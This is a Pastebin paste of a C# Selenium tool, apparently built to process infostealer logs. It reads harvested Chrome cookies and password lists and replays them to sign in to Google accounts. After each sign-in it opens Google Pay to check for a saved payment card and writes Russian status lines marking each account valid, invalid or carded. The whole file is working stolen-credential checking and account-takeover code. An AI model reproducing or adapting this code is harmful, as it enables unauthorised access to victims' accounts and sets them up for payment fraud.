Advertisement
Guest User

ZALUPA

a guest
Nov 21st, 2018
185
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 11.28 KB | None | 0 0
  1. using System;
  2. using System.IO;
  3. using OpenQA.Selenium;
  4. using OpenQA.Selenium.Chrome;
  5. using System.Threading;
  6. using OpenQA.Selenium.Support.UI;
  7. using System.Collections.Generic;
  8. using System.Linq;
  9. using System.Text;
  10. using System.Threading.Tasks;
  11. using System.Windows.Forms;
  12.  
  13. namespace ChecGoogleAcc
  14. {
  15.     class driverAction
  16.     {
  17.         FileClass file = new FileClass();
  18.         private ChromeDriver Browser;
  19.         List<string> dataReport = new List<string>();
  20.  
  21.         string pathCoo;
  22.         string pathPass;
  23.  
  24.         private void browserInit()
  25.         {
  26.             ChromeOptions option = new ChromeOptions();
  27.             option.AcceptInsecureCertificates = true;
  28.             option.AddArgument("--disable-notifications");
  29.             option.AddArgument("--disable-infobars");
  30.             option.AddArgument("--ignore-certificate-errors");
  31.             option.AddArgument("--ignore-ssl-errors");
  32.             option.AddArgument("--allow-running-insecure-content");
  33.             option.AddArgument("--allow-silent-push");
  34.             option.AddArgument("--disable-prompt-on-repost");
  35.             option.AddArgument("--enable-fast-unload");
  36.             option.AddArgument("--fast");
  37.             option.AddArgument("--mute-audio");
  38.             ChromeDriverService service = ChromeDriverService.CreateDefaultService();
  39.             service.HideCommandPromptWindow = true;
  40.             Browser = new ChromeDriver(service, option);
  41.             Browser.Manage().Window.Maximize();
  42.         }
  43.        
  44.         public void mainCode(string pathFolder, string pathWrite)
  45.         {
  46.  
  47.             setPathFolder(pathFolder);
  48.  
  49.             List<string> dataAcc = file.GetInfoAcc(pathPass, pathFolder);
  50.             browserInit();
  51.             Browser.Navigate().GoToUrl("https://accounts.google.com");
  52.  
  53.             bool coo = SetCookie(pathCoo);
  54.             if (coo)
  55.             {
  56.                 Browser.Navigate().Refresh();
  57.  
  58.                 if (IsElementPresent(By.XPath("//input[@id='hiddenEmail']")) && IsElementPresent(By.XPath("//input[@type='password']")))
  59.                 {
  60.                     signInWPcoo(pathFolder, pathWrite, dataAcc);
  61.                 }
  62.  
  63.                 if (IsElementPresent(By.XPath("//input[@type='email']")))
  64.                 {
  65.                     signInWOcoo(pathFolder, pathWrite, dataAcc);
  66.                 }
  67.  
  68.                 if (IsElementPresent(By.XPath("//*[contains(text(),'" + dataAcc[0] + "')]")))
  69.                 {
  70.                     signInWcoo(pathFolder, pathWrite, dataAcc);
  71.                 }
  72.                 else
  73.                 {
  74.                     dataReport.Add(dataAcc[0]);
  75.  
  76.                     if (checkCard())
  77.                     {
  78.                         dataReport.Add("Авторизовал");
  79.                         dataReport.Add("Карта есть");
  80.                     }
  81.                     else
  82.                     {
  83.                         dataReport.Add("Авторизовал");
  84.                         dataReport.Add("Карты нет");
  85.                     }
  86.  
  87.                     file.ResultFileDataWrite(pathWrite, dataReport);
  88.                     Browser.Quit();
  89.                 }
  90.  
  91.             }
  92.             else
  93.             {
  94.                 signInWOcoo(pathFolder, pathWrite, dataAcc);
  95.             }
  96.         }
  97.  
  98.         private bool SetCookie(string pathCoo)
  99.         {
  100.             if (File.Exists(pathCoo))
  101.             {
  102.                 Browser.Manage().Cookies.DeleteAllCookies();
  103.                 string[] CookieAll = File.ReadAllLines(pathCoo);
  104.  
  105.                 foreach (string str in CookieAll)
  106.                 {
  107.                     List<string> curCookie = file.GetCookie(str);
  108.                     DateTime time = new DateTime(2017, 03, 22, 23, 02, 03);
  109.                     Cookie newCk = new Cookie(curCookie[0], curCookie[1], curCookie[2], curCookie[3], UnixTimeStampToDateTime(curCookie[4]));
  110.  
  111.                     Browser.Manage().Cookies.AddCookie(newCk);
  112.                 }
  113.                 return true;
  114.             }
  115.  
  116.             return false;
  117.         }
  118.  
  119.         private void signInWcoo(string pathFolder, string pathWrite, List<string> dataAcc)
  120.         {
  121.             if (file.GetInfoAcc(pathPass, pathFolder).Count > 1)
  122.             {
  123.                 IWebElement selectUser = Browser.FindElement(By.XPath("//*[contains(text(),'" + dataAcc[0] + "')]"));
  124.                 selectUser.Click();
  125.                 Thread.Sleep(5000);
  126.  
  127.                 IWebElement passInput = Browser.FindElement(By.XPath("//input[@type='password']"));
  128.                 passInput.SendKeys(dataAcc[1]);
  129.  
  130.                 List<IWebElement> NextBPass = Browser.FindElements(By.XPath("//div[@role='button']")).ToList();
  131.                 NextBPass[1].Click();
  132.                 Thread.Sleep(5000);
  133.  
  134.                 if (IsElementPresent(By.XPath("//div[@aria-live='assertive'  and contains(text(),' ')]")))
  135.                 {
  136.                     dataReport.Add("Не авторизовал: НЕВАЛИД");
  137.                     dataReport.Add("Карты нет");
  138.                 }
  139.                 else
  140.                 {
  141.                     if (checkCard())
  142.                     {
  143.                         dataReport.Add("Авторизовал");
  144.                         dataReport.Add("Карта есть");
  145.                     }
  146.                     else
  147.                     {
  148.                         dataReport.Add("Авторизовал");
  149.                         dataReport.Add("Карты нет");
  150.                     }
  151.                 }
  152.             }
  153.             fustQuit(dataAcc, pathWrite, pathFolder);
  154.         }
  155.  
  156.         private void signInWPcoo(string pathFolder, string pathWrite, List<string> dataAcc)
  157.         {
  158.             if (file.GetInfoAcc(pathPass, pathFolder).Count > 1)
  159.             {
  160.                 IWebElement passInput = Browser.FindElement(By.XPath("//input[@type='password']"));
  161.                 passInput.SendKeys(dataAcc[1]);
  162.  
  163.                 List<IWebElement> NextBPass = Browser.FindElements(By.XPath("//div[@role='button']")).ToList();
  164.                 NextBPass[1].Click();
  165.                 Thread.Sleep(5000);
  166.  
  167.                 if (IsElementPresent(By.XPath("//div[@aria-live='assertive'  and contains(text(),' ')]")))
  168.                 {
  169.                     dataReport.Add("Не авторизовал: НЕВАЛИД");
  170.                     dataReport.Add("Карты нет");
  171.                 }
  172.                 else
  173.                 {
  174.                     if (checkCard())
  175.                     {
  176.                         dataReport.Add("Авторизовал");
  177.                         dataReport.Add("Карта есть");
  178.                     }
  179.                     else
  180.                     {
  181.                         dataReport.Add("Авторизовал");
  182.                         dataReport.Add("Карты нет");
  183.                     }
  184.                 }
  185.             }
  186.             fustQuit(dataAcc, pathWrite, pathFolder);
  187.         }
  188.  
  189.         private void signInWOcoo(string pathFolder, string pathWrite, List<string> dataAcc)
  190.         {
  191.             if (dataAcc.Count > 1)
  192.             {
  193.                 dataReport.Add(dataAcc[0]);
  194.  
  195.                 IWebElement emailUser = Browser.FindElement(By.XPath("//input[@type='email']"));
  196.                 emailUser.SendKeys(dataAcc[0]);
  197.  
  198.                 List<IWebElement> NextBLogin = Browser.FindElements(By.XPath("//div[@role='button']")).ToList();
  199.                 NextBLogin[0].Click();
  200.                 Thread.Sleep(5000);
  201.  
  202.                 if (IsElementPresent(By.XPath("//div[@aria-live='assertive'  and contains(text(),' ')]")))
  203.                 {
  204.                     dataReport.Add("Не авторизовал: нет такого E-mail");
  205.                     dataReport.Add("Карты нет");
  206.                     file.ResultFileDataWrite(pathWrite, dataReport);
  207.                     Browser.Quit();
  208.                 }
  209.                 else
  210.                 {
  211.                     IWebElement passInput = Browser.FindElement(By.XPath("//input[@type='password']"));
  212.                     passInput.SendKeys(dataAcc[1]);
  213.  
  214.                     List<IWebElement> NextBPass = Browser.FindElements(By.XPath("//div[@role='button']")).ToList();
  215.                     NextBPass[0].Click();
  216.  
  217.                     Thread.Sleep(5000);
  218.  
  219.                     if (IsElementPresent(By.XPath("//div[@aria-live='assertive'  and contains(text(),' ')]")))
  220.                     {
  221.                         dataReport.Add("Не авторизовал: НЕВАЛИД");
  222.                         dataReport.Add("Карты нет");
  223.                     }
  224.                     else
  225.                     {
  226.                         if (checkCard())
  227.                         {
  228.                             dataReport.Add("Авторизовал");
  229.                             dataReport.Add("Карта есть");
  230.                         }
  231.                         else
  232.                         {
  233.                             dataReport.Add("Авторизовал");
  234.                             dataReport.Add("Карты нет");
  235.                         }
  236.                     }
  237.                 }
  238.                 fustQuit(dataAcc, pathWrite, pathFolder);
  239.             }    
  240.         }
  241.  
  242.         public bool checkCard()
  243.         {
  244.             Thread.Sleep(5000);
  245.             Browser.Navigate().GoToUrl("https://pay.google.com/payments/u/0/home#paymentMethods");
  246.             Thread.Sleep(5000);
  247.  
  248.             Browser.SwitchTo().Frame(2);
  249.             bool presentCard = IsElementPresent(By.XPath("//div[@class = 'b3id-payment-methods b3-payment-methods']"));
  250.             Browser.SwitchTo().DefaultContent();
  251.             return presentCard;
  252.         }
  253.  
  254.         private bool IsElementPresent(By by)
  255.         {
  256.             try
  257.             {
  258.                 Browser.FindElement(by);
  259.                 return true;
  260.             }
  261.             catch (NoSuchElementException)
  262.             {
  263.                 return false;
  264.             }
  265.         }
  266.  
  267.         public static DateTime UnixTimeStampToDateTime(string unixTimeStamp)
  268.         {
  269.             if (unixTimeStamp.Length < 11)
  270.             {
  271.                 DateTime dtDateTime = new DateTime(1970, 1, 1, 0, 0, 0, 0, System.DateTimeKind.Utc);
  272.                 dtDateTime = dtDateTime.AddSeconds(Convert.ToDouble(unixTimeStamp)).ToLocalTime();
  273.                 return dtDateTime;
  274.             }
  275.  
  276.             return new DateTime(2017, 03, 22, 23, 02, 03);
  277.         }
  278.  
  279.         private void fustQuit(List<string> dataAcc, string pathWrite, string pathFolder)
  280.         {
  281.             dataReport.Add(pathFolder);
  282.             dataReport.Add("Не авторизовал: нет данных аккаунта");
  283.             dataReport.Add("Карты нет");
  284.             file.ResultFileDataWrite(pathWrite, dataReport);
  285.             Browser.Quit();
  286.         }
  287.  
  288.         private void setPathFolder(string curMainPath)
  289.         {
  290.             if (File.Exists(curMainPath + @"/PasswordsList.txt"))
  291.             {
  292.                 pathCoo = curMainPath + @"/Browsers/Cookies/GoogleChrome_Default.txt";
  293.                 pathPass = curMainPath + @"/PasswordsList.txt";
  294.             }
  295.             else
  296.             {
  297.                 pathCoo = curMainPath + @"/Cookies/cookies_Google Chrome_Default";
  298.                 pathPass = curMainPath + @"/passwords.txt";
  299.             }
  300.         }
  301.     }
  302. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement